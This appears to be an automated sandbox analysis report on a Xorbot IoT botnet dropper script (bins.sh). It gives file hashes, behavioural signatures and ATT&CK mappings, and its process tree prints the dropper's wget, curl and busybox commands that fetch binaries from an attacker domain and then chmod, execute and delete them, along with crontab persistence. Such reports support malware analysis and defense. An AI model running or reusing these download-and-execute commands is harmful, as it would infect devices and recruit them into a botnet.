xorbot | 960facbaa578092a17ffc41f54b65b77dff072120cc8c275d0a2ab44d97bbdad

Analysis

max time kernel
150s
max time network
155s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
10/12/2024, 19:00

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General

Target

bins.sh
Size

10KB
MD5

8ad3c22d51b45d9d345d57cccc6e8e3c
SHA1

f6a7ded75ed90ad0b059c5d6231525d6ee7bfde9
SHA256

960facbaa578092a17ffc41f54b65b77dff072120cc8c275d0a2ab44d97bbdad
SHA512

ca38a5179c2793cf96a6d448d60126ee1b54de6ac717bed671d20bb6e7a83c11670f95260c2fede0f18014768d10615795cb25e4a05156c01352c57f35209923
SSDEEP

96:YrHMLddWpFplpWJdKDfcEI9j/91RJI8A5pBEL2mFLQMaLyKGU5RpaxapaYmuyQLi:/i3XWJdPzNimmZs3XWJdyP

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1701) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
731	chmod
739	chmod
755	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr	732	vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr
/tmp/EzgQPDywUafwLiwesMZCU5Js3Z8FCFEZt6	740	EzgQPDywUafwLiwesMZCU5Js3Z8FCFEZt6
/tmp/uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged	757	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged

Renames itself 1 IoCs

pid	Process
758	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.2uCydp	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/764/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/819/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/911/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1085/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/990/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1098/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/794/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/967/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1065/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1079/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/11/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/783/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/788/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1095/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1112/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/929/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/966/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1009/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1045/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/377/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/860/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/878/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/888/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1061/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1088/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1101/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1106/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1022/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1051/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1057/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/74/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/387/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/965/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1004/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1084/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1099/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/357/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/920/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/972/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1046/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/949/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1013/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/946/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/984/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1041/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1077/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/787/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/850/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/884/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/935/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1109/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1124/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/896/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/923/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1001/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/1081/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/812/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/822/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/836/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/853/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/7/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/789/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
File opened for reading	/proc/977/cmdline	uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged

System Network Configuration Discovery 1 TTPs 13 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
743	wget
744	curl
751	busybox
770	wget
856	curl
730	busybox
732	vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr
734	rm
736	curl
738	busybox
709	wget
722	curl
735	wget

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged	curl
File opened for modification	/tmp/uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged	busybox
File opened for modification	/tmp/vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr	wget
File opened for modification	/tmp/vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr	curl
File opened for modification	/tmp/EzgQPDywUafwLiwesMZCU5Js3Z8FCFEZt6	curl
File opened for modification	/tmp/EzgQPDywUafwLiwesMZCU5Js3Z8FCFEZt6	busybox
File opened for modification	/tmp/uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged	wget
File opened for modification	/tmp/vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr	busybox
File opened for modification	/tmp/EzgQPDywUafwLiwesMZCU5Js3Z8FCFEZt6	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:699
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:705
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:709
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:722
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:730
- /bin/chmod
  chmod 777 vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr
  ./vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:732
- /bin/rm
  rm vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr
  2⤵
  - System Network Configuration Discovery
  PID:734
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EzgQPDywUafwLiwesMZCU5Js3Z8FCFEZt6
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:735
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EzgQPDywUafwLiwesMZCU5Js3Z8FCFEZt6
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EzgQPDywUafwLiwesMZCU5Js3Z8FCFEZt6
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:738
- /bin/chmod
  chmod 777 EzgQPDywUafwLiwesMZCU5Js3Z8FCFEZt6
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/EzgQPDywUafwLiwesMZCU5Js3Z8FCFEZt6
  ./EzgQPDywUafwLiwesMZCU5Js3Z8FCFEZt6
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm EzgQPDywUafwLiwesMZCU5Js3Z8FCFEZt6
  2⤵
  PID:742
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:743
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:751
- /bin/chmod
  chmod 777 uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
  ./uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:757
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:759
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:760
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:761
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:763
- /bin/rm
  rm uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged
  2⤵
  PID:766
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vUrPno7OnuPYhVMK2KPak1bV63IVRNB05Y
  2⤵
  - System Network Configuration Discovery
  PID:770
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vUrPno7OnuPYhVMK2KPak1bV63IVRNB05Y
  2⤵
  - System Network Configuration Discovery
  PID:856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/EzgQPDywUafwLiwesMZCU5Js3Z8FCFEZt6

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/uLiJmf6rYbvTgixVUhUkO0zaGkSPM4gged

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/vBGeXXC3lZY2G50ip7PzvmrfQ5UNoS1Lpr

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/var/spool/cron/crontabs/tmp.2uCydp

Filesize
210B

MD5
9957301d3398523579da0220ec587de0

SHA1
b99ffb264ddc0deee279b4b60d2bb7c3df39ca96

SHA256
858be79d1a555074a75b4f3abcf075d315400df2756c4f5a6c77279a12d28e30

SHA512
b531785dd16247d1438dc1ed42b3253ef54d4c572bbf4aa1283faad455ef65a22bc2004083a35d3e89246a69daf4ec5c9e069a5a7fe31bfce2573ea44b13e262

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads